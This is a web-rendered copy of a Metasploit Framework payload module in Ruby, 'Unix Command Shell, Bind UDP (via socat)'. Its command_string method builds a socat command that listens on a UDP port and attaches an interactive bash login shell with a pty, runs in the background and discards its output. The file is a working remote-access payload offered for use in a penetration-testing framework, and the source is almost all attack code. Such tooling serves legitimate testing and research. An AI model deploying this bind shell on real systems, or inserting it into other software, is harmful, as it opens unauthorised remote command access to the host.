CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/bind_socat_udp.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 70
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Unix Command Shell, Bind UDP (via socat)',
17
'Description' => 'Creates an interactive shell via socat',
18
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
19
'License' => MSF_LICENSE,
20
'Platform' => 'unix',
21
'Arch' => ARCH_CMD,
22
'Handler' => Msf::Handler::BindUdp,
23
'Session' => Msf::Sessions::CommandShell,
24
'PayloadType' => 'cmd',
25
'RequiredCmd' => 'socat',
26
'Payload' =>
27
{
28
'Offsets' => { },
29
'Payload' => ''
30
}
31
))
32
register_advanced_options(
33
[
34
OptString.new('SocatPath', [true, 'The path to the Socat executable', 'socat']),
35
OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash'])
36
]
37
)
38
end
39
40
#
41
# Constructs the payload
42
#
43
def generate(_opts = {})
44
vprint_good(command_string)
45
return super + command_string
46
end
47
48
#
49
# Returns the command string to use for execution
50
#
51
def command_string
52
"#{datastore['SocatPath']} udp-listen:#{datastore['LPORT']} exec:'#{datastore['BashPath']} -li',pty,stderr,sane 2>&1>/dev/null &"
53
end
54
55
end
56
57